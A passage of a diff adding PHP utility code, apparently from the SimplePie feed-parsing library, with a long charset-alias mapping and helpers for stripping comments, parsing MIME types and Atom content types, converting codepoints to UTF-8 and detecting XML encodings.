+			case 'ibm284':
+				return 'IBM284';
+
+			case 'cp285':
+			case 'csibm285':
+			case 'ebcdiccpgb':
+			case 'ibm285':
+				return 'IBM285';
+
+			case 'cp290':
+			case 'csibm290':
+			case 'ebcdicjpkana':
+			case 'ibm290':
+				return 'IBM290';
+
+			case 'cp297':
+			case 'csibm297':
+			case 'ebcdiccpfr':
+			case 'ibm297':
+				return 'IBM297';
+
+			case 'cp420':
+			case 'csibm420':
+			case 'ebcdiccpar1':
+			case 'ibm420':
+				return 'IBM420';
+
+			case 'cp423':
+			case 'csibm423':
+			case 'ebcdiccpgr':
+			case 'ibm423':
+				return 'IBM423';
+
+			case 'cp424':
+			case 'csibm424':
+			case 'ebcdiccphe':
+			case 'ibm424':
+				return 'IBM424';
+
+			case '437':
+			case 'cp437':
+			case 'cspc8codepage437':
+			case 'ibm437':
+				return 'IBM437';
+
+			case 'cp500':
+			case 'csibm500':
+			case 'ebcdiccpbe':
+			case 'ebcdiccpch':
+			case 'ibm500':
+				return 'IBM500';
+
+			case 'cp775':
+			case 'cspc775baltic':
+			case 'ibm775':
+				return 'IBM775';
+
+			case '850':
+			case 'cp850':
+			case 'cspc850multilingual':
+			case 'ibm850':
+				return 'IBM850';
+
+			case '851':
+			case 'cp851':
+			case 'csibm851':
+			case 'ibm851':
+				return 'IBM851';
+
+			case '852':
+			case 'cp852':
+			case 'cspcp852':
+			case 'ibm852':
+				return 'IBM852';
+
+			case '855':
+			case 'cp855':
+			case 'csibm855':
+			case 'ibm855':
+				return 'IBM855';
+
+			case '857':
+			case 'cp857':
+			case 'csibm857':
+			case 'ibm857':
+				return 'IBM857';
+
+			case 'ccsid858':
+			case 'cp858':
+			case 'ibm858':
+			case 'pcmultilingual850euro':
+				return 'IBM00858';
+
+			case '860':
+			case 'cp860':
+			case 'csibm860':
+			case 'ibm860':
+				return 'IBM860';
+
+			case '861':
+			case 'cp861':
+			case 'cpis':
+			case 'csibm861':
+			case 'ibm861':
+				return 'IBM861';
+
+			case '862':
+			case 'cp862':
+			case 'cspc862latinhebrew':
+			case 'ibm862':
+				return 'IBM862';
+
+			case '863':
+			case 'cp863':
+			case 'csibm863':
+			case 'ibm863':
+				return 'IBM863';
+
+			case 'cp864':
+			case 'csibm864':
+			case 'ibm864':
+				return 'IBM864';
+
+			case '865':
+			case 'cp865':
+			case 'csibm865':
+			case 'ibm865':
+				return 'IBM865';
+
+			case '866':
+			case 'cp866':
+			case 'csibm866':
+			case 'ibm866':
+				return 'IBM866';
+
+			case 'cp868':
+			case 'cpar':
+			case 'csibm868':
+			case 'ibm868':
+				return 'IBM868';
+
+			case '869':
+			case 'cp869':
+			case 'cpgr':
+			case 'csibm869':
+			case 'ibm869':
+				return 'IBM869';
+
+			case 'cp870':
+			case 'csibm870':
+			case 'ebcdiccproece':
+			case 'ebcdiccpyu':
+			case 'ibm870':
+				return 'IBM870';
+
+			case 'cp871':
+			case 'csibm871':
+			case 'ebcdiccpis':
+			case 'ibm871':
+				return 'IBM871';
+
+			case 'cp880':
+			case 'csibm880':
+			case 'ebcdiccyrillic':
+			case 'ibm880':
+				return 'IBM880';
+
+			case 'cp891':
+			case 'csibm891':
+			case 'ibm891':
+				return 'IBM891';
+
+			case 'cp903':
+			case 'csibm903':
+			case 'ibm903':
+				return 'IBM903';
+
+			case '904':
+			case 'cp904':
+			case 'csibbm904':
+			case 'ibm904':
+				return 'IBM904';
+
+			case 'cp905':
+			case 'csibm905':
+			case 'ebcdiccptr':
+			case 'ibm905':
+				return 'IBM905';
+
+			case 'cp918':
+			case 'csibm918':
+			case 'ebcdiccpar2':
+			case 'ibm918':
+				return 'IBM918';
+
+			case 'ccsid924':
+			case 'cp924':
+			case 'ebcdiclatin9euro':
+			case 'ibm924':
+				return 'IBM00924';
+
+			case 'cp1026':
+			case 'csibm1026':
+			case 'ibm1026':
+				return 'IBM1026';
+
+			case 'ibm1047':
+				return 'IBM1047';
+
+			case 'ccsid1140':
+			case 'cp1140':
+			case 'ebcdicus37euro':
+			case 'ibm1140':
+				return 'IBM01140';
+
+			case 'ccsid1141':
+			case 'cp1141':
+			case 'ebcdicde273euro':
+			case 'ibm1141':
+				return 'IBM01141';
+
+			case 'ccsid1142':
+			case 'cp1142':
+			case 'ebcdicdk277euro':
+			case 'ebcdicno277euro':
+			case 'ibm1142':
+				return 'IBM01142';
+
+			case 'ccsid1143':
+			case 'cp1143':
+			case 'ebcdicfi278euro':
+			case 'ebcdicse278euro':
+			case 'ibm1143':
+				return 'IBM01143';
+
+			case 'ccsid1144':
+			case 'cp1144':
+			case 'ebcdicit280euro':
+			case 'ibm1144':
+				return 'IBM01144';
+
+			case 'ccsid1145':
+			case 'cp1145':
+			case 'ebcdices284euro':
+			case 'ibm1145':
+				return 'IBM01145';
+
+			case 'ccsid1146':
+			case 'cp1146':
+			case 'ebcdicgb285euro':
+			case 'ibm1146':
+				return 'IBM01146';
+
+			case 'ccsid1147':
+			case 'cp1147':
+			case 'ebcdicfr297euro':
+			case 'ibm1147':
+				return 'IBM01147';
+
+			case 'ccsid1148':
+			case 'cp1148':
+			case 'ebcdicinternational500euro':
+			case 'ibm1148':
+				return 'IBM01148';
+
+			case 'ccsid1149':
+			case 'cp1149':
+			case 'ebcdicis871euro':
+			case 'ibm1149':
+				return 'IBM01149';
+
+			case 'csiso143iecp271':
+			case 'iecp271':
+			case 'isoir143':
+				return 'IEC_P27-1';
+
+			case 'csiso49inis':
+			case 'inis':
+			case 'isoir49':
+				return 'INIS';
+
+			case 'csiso50inis8':
+			case 'inis8':
+			case 'isoir50':
+				return 'INIS-8';
+
+			case 'csiso51iniscyrillic':
+			case 'iniscyrillic':
+			case 'isoir51':
+				return 'INIS-cyrillic';
+
+			case 'csinvariant':
+			case 'invariant':
+				return 'INVARIANT';
+
+			case 'iso2022cn':
+				return 'ISO-2022-CN';
+
+			case 'iso2022cnext':
+				return 'ISO-2022-CN-EXT';
+
+			case 'csiso2022jp':
+			case 'iso2022jp':
+				return 'ISO-2022-JP';
+
+			case 'csiso2022jp2':
+			case 'iso2022jp2':
+				return 'ISO-2022-JP-2';
+
+			case 'csiso2022kr':
+			case 'iso2022kr':
+				return 'ISO-2022-KR';
+
+			case 'cswindows30latin1':
+			case 'iso88591windows30latin1':
+				return 'ISO-8859-1-Windows-3.0-Latin-1';
+
+			case 'cswindows31latin1':
+			case 'iso88591windows31latin1':
+				return 'ISO-8859-1-Windows-3.1-Latin-1';
+
+			case 'csisolatin2':
+			case 'iso88592':
+			case 'iso885921987':
+			case 'isoir101':
+			case 'l2':
+			case 'latin2':
+				return 'ISO-8859-2';
+
+			case 'cswindows31latin2':
+			case 'iso88592windowslatin2':
+				return 'ISO-8859-2-Windows-Latin-2';
+
+			case 'csisolatin3':
+			case 'iso88593':
+			case 'iso885931988':
+			case 'isoir109':
+			case 'l3':
+			case 'latin3':
+				return 'ISO-8859-3';
+
+			case 'csisolatin4':
+			case 'iso88594':
+			case 'iso885941988':
+			case 'isoir110':
+			case 'l4':
+			case 'latin4':
+				return 'ISO-8859-4';
+
+			case 'csisolatincyrillic':
+			case 'cyrillic':
+			case 'iso88595':
+			case 'iso885951988':
+			case 'isoir144':
+				return 'ISO-8859-5';
+
+			case 'arabic':
+			case 'asmo708':
+			case 'csisolatinarabic':
+			case 'ecma114':
+			case 'iso88596':
+			case 'iso885961987':
+			case 'isoir127':
+				return 'ISO-8859-6';
+
+			case 'csiso88596e':
+			case 'iso88596e':
+				return 'ISO-8859-6-E';
+
+			case 'csiso88596i':
+			case 'iso88596i':
+				return 'ISO-8859-6-I';
+
+			case 'csisolatingreek':
+			case 'ecma118':
+			case 'elot928':
+			case 'greek':
+			case 'greek8':
+			case 'iso88597':
+			case 'iso885971987':
+			case 'isoir126':
+				return 'ISO-8859-7';
+
+			case 'csisolatinhebrew':
+			case 'hebrew':
+			case 'iso88598':
+			case 'iso885981988':
+			case 'isoir138':
+				return 'ISO-8859-8';
+
+			case 'csiso88598e':
+			case 'iso88598e':
+				return 'ISO-8859-8-E';
+
+			case 'csiso88598i':
+			case 'iso88598i':
+				return 'ISO-8859-8-I';
+
+			case 'cswindows31latin5':
+			case 'iso88599windowslatin5':
+				return 'ISO-8859-9-Windows-Latin-5';
+
+			case 'csisolatin6':
+			case 'iso885910':
+			case 'iso8859101992':
+			case 'isoir157':
+			case 'l6':
+			case 'latin6':
+				return 'ISO-8859-10';
+
+			case 'iso885913':
+				return 'ISO-8859-13';
+
+			case 'iso885914':
+			case 'iso8859141998':
+			case 'isoceltic':
+			case 'isoir199':
+			case 'l8':
+			case 'latin8':
+				return 'ISO-8859-14';
+
+			case 'iso885915':
+			case 'latin9':
+				return 'ISO-8859-15';
+
+			case 'iso885916':
+			case 'iso8859162001':
+			case 'isoir226':
+			case 'l10':
+			case 'latin10':
+				return 'ISO-8859-16';
+
+			case 'iso10646j1':
+				return 'ISO-10646-J-1';
+
+			case 'csunicode':
+			case 'iso10646ucs2':
+				return 'ISO-10646-UCS-2';
+
+			case 'csucs4':
+			case 'iso10646ucs4':
+				return 'ISO-10646-UCS-4';
+
+			case 'csunicodeascii':
+			case 'iso10646ucsbasic':
+				return 'ISO-10646-UCS-Basic';
+
+			case 'csunicodelatin1':
+			case 'iso10646':
+			case 'iso10646unicodelatin1':
+				return 'ISO-10646-Unicode-Latin1';
+
+			case 'csiso10646utf1':
+			case 'iso10646utf1':
+				return 'ISO-10646-UTF-1';
+
+			case 'csiso115481':
+			case 'iso115481':
+			case 'isotr115481':
+				return 'ISO-11548-1';
+
+			case 'csiso90':
+			case 'isoir90':
+				return 'iso-ir-90';
+
+			case 'csunicodeibm1261':
+			case 'isounicodeibm1261':
+				return 'ISO-Unicode-IBM-1261';
+
+			case 'csunicodeibm1264':
+			case 'isounicodeibm1264':
+				return 'ISO-Unicode-IBM-1264';
+
+			case 'csunicodeibm1265':
+			case 'isounicodeibm1265':
+				return 'ISO-Unicode-IBM-1265';
+
+			case 'csunicodeibm1268':
+			case 'isounicodeibm1268':
+				return 'ISO-Unicode-IBM-1268';
+
+			case 'csunicodeibm1276':
+			case 'isounicodeibm1276':
+				return 'ISO-Unicode-IBM-1276';
+
+			case 'csiso646basic1983':
+			case 'iso646basic1983':
+			case 'ref':
+				return 'ISO_646.basic:1983';
+
+			case 'csiso2intlrefversion':
+			case 'irv':
+			case 'iso646irv1983':
+			case 'isoir2':
+				return 'ISO_646.irv:1983';
+
+			case 'csiso2033':
+			case 'e13b':
+			case 'iso20331983':
+			case 'isoir98':
+				return 'ISO_2033-1983';
+
+			case 'csiso5427cyrillic':
+			case 'iso5427':
+			case 'isoir37':
+				return 'ISO_5427';
+
+			case 'iso5427cyrillic1981':
+			case 'iso54271981':
+			case 'isoir54':
+				return 'ISO_5427:1981';
+
+			case 'csiso5428greek':
+			case 'iso54281980':
+			case 'isoir55':
+				return 'ISO_5428:1980';
+
+			case 'csiso6937add':
+			case 'iso6937225':
+			case 'isoir152':
+				return 'ISO_6937-2-25';
+
+			case 'csisotextcomm':
+			case 'iso69372add':
+			case 'isoir142':
+				return 'ISO_6937-2-add';
+
+			case 'csiso8859supp':
+			case 'iso8859supp':
+			case 'isoir154':
+			case 'latin125':
+				return 'ISO_8859-supp';
+
+			case 'csiso10367box':
+			case 'iso10367box':
+			case 'isoir155':
+				return 'ISO_10367-box';
+
+			case 'csiso15italian':
+			case 'iso646it':
+			case 'isoir15':
+			case 'it':
+				return 'IT';
+
+			case 'csiso13jisc6220jp':
+			case 'isoir13':
+			case 'jisc62201969':
+			case 'jisc62201969jp':
+			case 'katakana':
+			case 'x2017':
+				return 'JIS_C6220-1969-jp';
+
+			case 'csiso14jisc6220ro':
+			case 'iso646jp':
+			case 'isoir14':
+			case 'jisc62201969ro':
+			case 'jp':
+				return 'JIS_C6220-1969-ro';
+
+			case 'csiso42jisc62261978':
+			case 'isoir42':
+			case 'jisc62261978':
+				return 'JIS_C6226-1978';
+
+			case 'csiso87jisx208':
+			case 'isoir87':
+			case 'jisc62261983':
+			case 'jisx2081983':
+			case 'x208':
+				return 'JIS_C6226-1983';
+
+			case 'csiso91jisc62291984a':
+			case 'isoir91':
+			case 'jisc62291984a':
+			case 'jpocra':
+				return 'JIS_C6229-1984-a';
+
+			case 'csiso92jisc62991984b':
+			case 'iso646jpocrb':
+			case 'isoir92':
+			case 'jisc62291984b':
+			case 'jpocrb':
+				return 'JIS_C6229-1984-b';
+
+			case 'csiso93jis62291984badd':
+			case 'isoir93':
+			case 'jisc62291984badd':
+			case 'jpocrbadd':
+				return 'JIS_C6229-1984-b-add';
+
+			case 'csiso94jis62291984hand':
+			case 'isoir94':
+			case 'jisc62291984hand':
+			case 'jpocrhand':
+				return 'JIS_C6229-1984-hand';
+
+			case 'csiso95jis62291984handadd':
+			case 'isoir95':
+			case 'jisc62291984handadd':
+			case 'jpocrhandadd':
+				return 'JIS_C6229-1984-hand-add';
+
+			case 'csiso96jisc62291984kana':
+			case 'isoir96':
+			case 'jisc62291984kana':
+				return 'JIS_C6229-1984-kana';
+
+			case 'csjisencoding':
+			case 'jisencoding':
+				return 'JIS_Encoding';
+
+			case 'cshalfwidthkatakana':
+			case 'jisx201':
+			case 'x201':
+				return 'JIS_X0201';
+
+			case 'csiso159jisx2121990':
+			case 'isoir159':
+			case 'jisx2121990':
+			case 'x212':
+				return 'JIS_X0212-1990';
+
+			case 'csiso141jusib1002':
+			case 'iso646yu':
+			case 'isoir141':
+			case 'js':
+			case 'jusib1002':
+			case 'yu':
+				return 'JUS_I.B1.002';
+
+			case 'csiso147macedonian':
+			case 'isoir147':
+			case 'jusib1003mac':
+			case 'macedonian':
+				return 'JUS_I.B1.003-mac';
+
+			case 'csiso146serbian':
+			case 'isoir146':
+			case 'jusib1003serb':
+			case 'serbian':
+				return 'JUS_I.B1.003-serb';
+
+			case 'koi7switched':
+				return 'KOI7-switched';
+
+			case 'cskoi8r':
+			case 'koi8r':
+				return 'KOI8-R';
+
+			case 'koi8u':
+				return 'KOI8-U';
+
+			case 'csksc5636':
+			case 'iso646kr':
+			case 'ksc5636':
+				return 'KSC5636';
+
+			case 'cskz1048':
+			case 'kz1048':
+			case 'rk1048':
+			case 'strk10482002':
+				return 'KZ-1048';
+
+			case 'csiso19latingreek':
+			case 'isoir19':
+			case 'latingreek':
+				return 'latin-greek';
+
+			case 'csiso27latingreek1':
+			case 'isoir27':
+			case 'latingreek1':
+				return 'Latin-greek-1';
+
+			case 'csiso158lap':
+			case 'isoir158':
+			case 'lap':
+			case 'latinlap':
+				return 'latin-lap';
+
+			case 'csmacintosh':
+			case 'mac':
+			case 'macintosh':
+				return 'macintosh';
+
+			case 'csmicrosoftpublishing':
+			case 'microsoftpublishing':
+				return 'Microsoft-Publishing';
+
+			case 'csmnem':
+			case 'mnem':
+				return 'MNEM';
+
+			case 'csmnemonic':
+			case 'mnemonic':
+				return 'MNEMONIC';
+
+			case 'csiso86hungarian':
+			case 'hu':
+			case 'iso646hu':
+			case 'isoir86':
+			case 'msz77953':
+				return 'MSZ_7795.3';
+
+			case 'csnatsdano':
+			case 'isoir91':
+			case 'natsdano':
+				return 'NATS-DANO';
+
+			case 'csnatsdanoadd':
+			case 'isoir92':
+			case 'natsdanoadd':
+				return 'NATS-DANO-ADD';
+
+			case 'csnatssefi':
+			case 'isoir81':
+			case 'natssefi':
+				return 'NATS-SEFI';
+
+			case 'csnatssefiadd':
+			case 'isoir82':
+			case 'natssefiadd':
+				return 'NATS-SEFI-ADD';
+
+			case 'csiso151cuba':
+			case 'cuba':
+			case 'iso646cu':
+			case 'isoir151':
+			case 'ncnc1081':
+				return 'NC_NC00-10:81';
+
+			case 'csiso69french':
+			case 'fr':
+			case 'iso646fr':
+			case 'isoir69':
+			case 'nfz62010':
+				return 'NF_Z_62-010';
+
+			case 'csiso25french':
+			case 'iso646fr1':
+			case 'isoir25':
+			case 'nfz620101973':
+				return 'NF_Z_62-010_(1973)';
+
+			case 'csiso60danishnorwegian':
+			case 'csiso60norwegian1':
+			case 'iso646no':
+			case 'isoir60':
+			case 'no':
+			case 'ns45511':
+				return 'NS_4551-1';
+
+			case 'csiso61norwegian2':
+			case 'iso646no2':
+			case 'isoir61':
+			case 'no2':
+			case 'ns45512':
+				return 'NS_4551-2';
+
+			case 'osdebcdicdf3irv':
+				return 'OSD_EBCDIC_DF03_IRV';
+
+			case 'osdebcdicdf41':
+				return 'OSD_EBCDIC_DF04_1';
+
+			case 'osdebcdicdf415':
+				return 'OSD_EBCDIC_DF04_15';
+
+			case 'cspc8danishnorwegian':
+			case 'pc8danishnorwegian':
+				return 'PC8-Danish-Norwegian';
+
+			case 'cspc8turkish':
+			case 'pc8turkish':
+				return 'PC8-Turkish';
+
+			case 'csiso16portuguese':
+			case 'iso646pt':
+			case 'isoir16':
+			case 'pt':
+				return 'PT';
+
+			case 'csiso84portuguese2':
+			case 'iso646pt2':
+			case 'isoir84':
+			case 'pt2':
+				return 'PT2';
+
+			case 'cp154':
+			case 'csptcp154':
+			case 'cyrillicasian':
+			case 'pt154':
+			case 'ptcp154':
+				return 'PTCP154';
+
+			case 'scsu':
+				return 'SCSU';
+
+			case 'csiso10swedish':
+			case 'fi':
+			case 'iso646fi':
+			case 'iso646se':
+			case 'isoir10':
+			case 'se':
+			case 'sen850200b':
+				return 'SEN_850200_B';
+
+			case 'csiso11swedishfornames':
+			case 'iso646se2':
+			case 'isoir11':
+			case 'se2':
+			case 'sen850200c':
+				return 'SEN_850200_C';
+
+			case 'csiso102t617bit':
+			case 'isoir102':
+			case 't617bit':
+				return 'T.61-7bit';
+
+			case 'csiso103t618bit':
+			case 'isoir103':
+			case 't61':
+			case 't618bit':
+				return 'T.61-8bit';
+
+			case 'csiso128t101g2':
+			case 'isoir128':
+			case 't101g2':
+				return 'T.101-G2';
+
+			case 'cstscii':
+			case 'tscii':
+				return 'TSCII';
+
+			case 'csunicode11':
+			case 'unicode11':
+				return 'UNICODE-1-1';
+
+			case 'csunicode11utf7':
+			case 'unicode11utf7':
+				return 'UNICODE-1-1-UTF-7';
+
+			case 'csunknown8bit':
+			case 'unknown8bit':
+				return 'UNKNOWN-8BIT';
+
+			case 'ansix341968':
+			case 'ansix341986':
+			case 'ascii':
+			case 'cp367':
+			case 'csascii':
+			case 'ibm367':
+			case 'iso646irv1991':
+			case 'iso646us':
+			case 'isoir6':
+			case 'us':
+			case 'usascii':
+				return 'US-ASCII';
+
+			case 'csusdk':
+			case 'usdk':
+				return 'us-dk';
+
+			case 'utf7':
+				return 'UTF-7';
+
+			case 'utf8':
+				return 'UTF-8';
+
+			case 'utf16':
+				return 'UTF-16';
+
+			case 'utf16be':
+				return 'UTF-16BE';
+
+			case 'utf16le':
+				return 'UTF-16LE';
+
+			case 'utf32':
+				return 'UTF-32';
+
+			case 'utf32be':
+				return 'UTF-32BE';
+
+			case 'utf32le':
+				return 'UTF-32LE';
+
+			case 'csventurainternational':
+			case 'venturainternational':
+				return 'Ventura-International';
+
+			case 'csventuramath':
+			case 'venturamath':
+				return 'Ventura-Math';
+
+			case 'csventuraus':
+			case 'venturaus':
+				return 'Ventura-US';
+
+			case 'csiso70videotexsupp1':
+			case 'isoir70':
+			case 'videotexsuppl':
+				return 'videotex-suppl';
+
+			case 'csviqr':
+			case 'viqr':
+				return 'VIQR';
+
+			case 'csviscii':
+			case 'viscii':
+				return 'VISCII';
+
+			case 'csshiftjis':
+			case 'cswindows31j':
+			case 'mskanji':
+			case 'shiftjis':
+			case 'windows31j':
+				return 'Windows-31J';
+
+			case 'iso885911':
+			case 'tis620':
+				return 'windows-874';
+
+			case 'cseuckr':
+			case 'csksc56011987':
+			case 'euckr':
+			case 'isoir149':
+			case 'korean':
+			case 'ksc5601':
+			case 'ksc56011987':
+			case 'ksc56011989':
+			case 'windows949':
+				return 'windows-949';
+
+			case 'windows1250':
+				return 'windows-1250';
+
+			case 'windows1251':
+				return 'windows-1251';
+
+			case 'cp819':
+			case 'csisolatin1':
+			case 'ibm819':
+			case 'iso88591':
+			case 'iso885911987':
+			case 'isoir100':
+			case 'l1':
+			case 'latin1':
+			case 'windows1252':
+				return 'windows-1252';
+
+			case 'windows1253':
+				return 'windows-1253';
+
+			case 'csisolatin5':
+			case 'iso88599':
+			case 'iso885991989':
+			case 'isoir148':
+			case 'l5':
+			case 'latin5':
+			case 'windows1254':
+				return 'windows-1254';
+
+			case 'windows1255':
+				return 'windows-1255';
+
+			case 'windows1256':
+				return 'windows-1256';
+
+			case 'windows1257':
+				return 'windows-1257';
+
+			case 'windows1258':
+				return 'windows-1258';
+
+			default:
+				return $charset;
+		}
+	}
+
+	public static function get_curl_version()
+	{
+		if (is_array($curl = curl_version()))
+		{
+			$curl = $curl['version'];
+		}
+		elseif (substr($curl, 0, 5) === 'curl/')
+		{
+			$curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5));
+		}
+		elseif (substr($curl, 0, 8) === 'libcurl/')
+		{
+			$curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8));
+		}
+		else
+		{
+			$curl = 0;
+		}
+		return $curl;
+	}
+
+	/**
+	 * Strip HTML comments
+	 *
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	public static function strip_comments($data)
+	{
+		$output = '';
+		while (($start = strpos($data, '<!--')) !== false)
+		{
+			$output .= substr($data, 0, $start);
+			if (($end = strpos($data, '-->', $start)) !== false)
+			{
+				$data = substr_replace($data, '', 0, $end + 3);
+			}
+			else
+			{
+				$data = '';
+			}
+		}
+		return $output . $data;
+	}
+
+	public static function parse_date($dt)
+	{
+		$parser = SimplePie_Parse_Date::get();
+		return $parser->parse($dt);
+	}
+
+	/**
+	 * Decode HTML entities
+	 *
+	 * @deprecated Use DOMDocument instead
+	 * @param string $data Input data
+	 * @return string Output data
+	 */
+	public static function entities_decode($data)
+	{
+		$decoder = new SimplePie_Decode_HTML_Entities($data);
+		return $decoder->parse();
+	}
+
+	/**
+	 * Remove RFC822 comments
+	 *
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	public static function uncomment_rfc822($string)
+	{
+		$string = (string) $string;
+		$position = 0;
+		$length = strlen($string);
+		$depth = 0;
+
+		$output = '';
+
+		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
+		{
+			$output .= substr($string, $position, $pos - $position);
+			$position = $pos + 1;
+			if ($string[$pos - 1] !== '\\')
+			{
+				$depth++;
+				while ($depth && $position < $length)
+				{
+					$position += strcspn($string, '()', $position);
+					if ($string[$position - 1] === '\\')
+					{
+						$position++;
+						continue;
+					}
+					elseif (isset($string[$position]))
+					{
+						switch ($string[$position])
+						{
+							case '(':
+								$depth++;
+								break;
+
+							case ')':
+								$depth--;
+								break;
+						}
+						$position++;
+					}
+					else
+					{
+						break;
+					}
+				}
+			}
+			else
+			{
+				$output .= '(';
+			}
+		}
+		$output .= substr($string, $position);
+
+		return $output;
+	}
+
+	public static function parse_mime($mime)
+	{
+		if (($pos = strpos($mime, ';')) === false)
+		{
+			return trim($mime);
+		}
+		else
+		{
+			return trim(substr($mime, 0, $pos));
+		}
+	}
+
+	public static function atom_03_construct_type($attribs)
+	{
+		if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) === 'base64'))
+		{
+			$mode = SIMPLEPIE_CONSTRUCT_BASE64;
+		}
+		else
+		{
+			$mode = SIMPLEPIE_CONSTRUCT_NONE;
+		}
+		if (isset($attribs['']['type']))
+		{
+			switch (strtolower(trim($attribs['']['type'])))
+			{
+				case 'text':
+				case 'text/plain':
+					return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
+
+				case 'html':
+				case 'text/html':
+					return SIMPLEPIE_CONSTRUCT_HTML | $mode;
+
+				case 'xhtml':
+				case 'application/xhtml+xml':
+					return SIMPLEPIE_CONSTRUCT_XHTML | $mode;
+
+				default:
+					return SIMPLEPIE_CONSTRUCT_NONE | $mode;
+			}
+		}
+		else
+		{
+			return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
+		}
+	}
+
+	public static function atom_10_construct_type($attribs)
+	{
+		if (isset($attribs['']['type']))
+		{
+			switch (strtolower(trim($attribs['']['type'])))
+			{
+				case 'text':
+					return SIMPLEPIE_CONSTRUCT_TEXT;
+
+				case 'html':
+					return SIMPLEPIE_CONSTRUCT_HTML;
+
+				case 'xhtml':
+					return SIMPLEPIE_CONSTRUCT_XHTML;
+
+				default:
+					return SIMPLEPIE_CONSTRUCT_NONE;
+			}
+		}
+		return SIMPLEPIE_CONSTRUCT_TEXT;
+	}
+
+	public static function atom_10_content_construct_type($attribs)
+	{
+		if (isset($attribs['']['type']))
+		{
+			$type = strtolower(trim($attribs['']['type']));
+			switch ($type)
+			{
+				case 'text':
+					return SIMPLEPIE_CONSTRUCT_TEXT;
+
+				case 'html':
+					return SIMPLEPIE_CONSTRUCT_HTML;
+
+				case 'xhtml':
+					return SIMPLEPIE_CONSTRUCT_XHTML;
+			}
+			if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) === 'text/')
+			{
+				return SIMPLEPIE_CONSTRUCT_NONE;
+			}
+			else
+			{
+				return SIMPLEPIE_CONSTRUCT_BASE64;
+			}
+		}
+		else
+		{
+			return SIMPLEPIE_CONSTRUCT_TEXT;
+		}
+	}
+
+	public static function is_isegment_nz_nc($string)
+	{
+		return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
+	}
+
+	public static function space_seperated_tokens($string)
+	{
+		$space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
+		$string_length = strlen($string);
+
+		$position = strspn($string, $space_characters);
+		$tokens = array();
+
+		while ($position < $string_length)
+		{
+			$len = strcspn($string, $space_characters, $position);
+			$tokens[] = substr($string, $position, $len);
+			$position += $len;
+			$position += strspn($string, $space_characters, $position);
+		}
+
+		return $tokens;
+	}
+
+	/**
+	 * Converts a unicode codepoint to a UTF-8 character
+	 *
+	 * @static
+	 * @param int $codepoint Unicode codepoint
+	 * @return string UTF-8 character
+	 */
+	public static function codepoint_to_utf8($codepoint)
+	{
+		$codepoint = (int) $codepoint;
+		if ($codepoint < 0)
+		{
+			return false;
+		}
+		else if ($codepoint <= 0x7f)
+		{
+			return chr($codepoint);
+		}
+		else if ($codepoint <= 0x7ff)
+		{
+			return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else if ($codepoint <= 0xffff)
+		{
+			return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else if ($codepoint <= 0x10ffff)
+		{
+			return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f));
+		}
+		else
+		{
+			// U+FFFD REPLACEMENT CHARACTER
+			return "\xEF\xBF\xBD";
+		}
+	}
+
+	/**
+	 * Similar to parse_str()
+	 *
+	 * Returns an associative array of name/value pairs, where the value is an
+	 * array of values that have used the same name
+	 *
+	 * @static
+	 * @param string $str The input string.
+	 * @return array
+	 */
+	public static function parse_str($str)
+	{
+		$return = array();
+		$str = explode('&', $str);
+
+		foreach ($str as $section)
+		{
+			if (strpos($section, '=') !== false)
+			{
+				list($name, $value) = explode('=', $section, 2);
+				$return[urldecode($name)][] = urldecode($value);
+			}
+			else
+			{
+				$return[urldecode($section)][] = null;
+			}
+		}
+
+		return $return;
+	}
+
+	/**
+	 * Detect XML encoding, as per XML 1.0 Appendix F.1
+	 *
+	 * @todo Add support for EBCDIC
+	 * @param string $data XML data
+	 * @param SimplePie_Registry $registry Class registry
+	 * @return array Possible encodings
+	 */
+	public static function xml_encoding($data, $registry)
+	{
+		// UTF-32 Big Endian BOM
+		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
+		{
+			$encoding[] = 'UTF-32BE';
+		}
+		// UTF-32 Little Endian BOM
+		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
+		{
+			$encoding[] = 'UTF-32LE';
+		}
+		// UTF-16 Big Endian BOM
+		elseif (substr($data, 0, 2) === "\xFE\xFF")
+		{
+			$encoding[] = 'UTF-16BE';
+		}
+		// UTF-16 Little Endian BOM
+		elseif (substr($data, 0, 2) === "\xFF\xFE")
+		{
+			$encoding[] = 'UTF-16LE';
+		}
+		// UTF-8 BOM
+		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
+		{
+			$encoding[] = 'UTF-8';
+		}
+		// UTF-32 Big Endian Without BOM
+		elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C")
+		{
+			if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8')));
+				if ($parser->parse())
+				{
